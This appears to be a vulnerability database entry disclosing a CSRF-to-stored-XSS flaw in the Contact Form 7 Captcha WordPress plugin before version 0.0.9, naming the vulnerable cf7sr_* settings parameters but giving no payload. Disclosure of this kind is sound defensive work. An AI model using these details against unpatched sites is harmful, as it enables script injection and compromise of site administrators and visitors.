WordPress Plugin Vulnerabilities
Contact Form 7 Captcha < 0.0.9 - CSRF to Stored XSS
Description
The plugin does not have any CSRF check in place when saving its settings, allowing attacker to make a logged in user with the manage_options change them. Furthermore, the settings are not escaped when output in attributes, leading to a Stored Cross-Site Scripting issue.
Proof of Concept
All cf7sr_* parameters are vulnerable
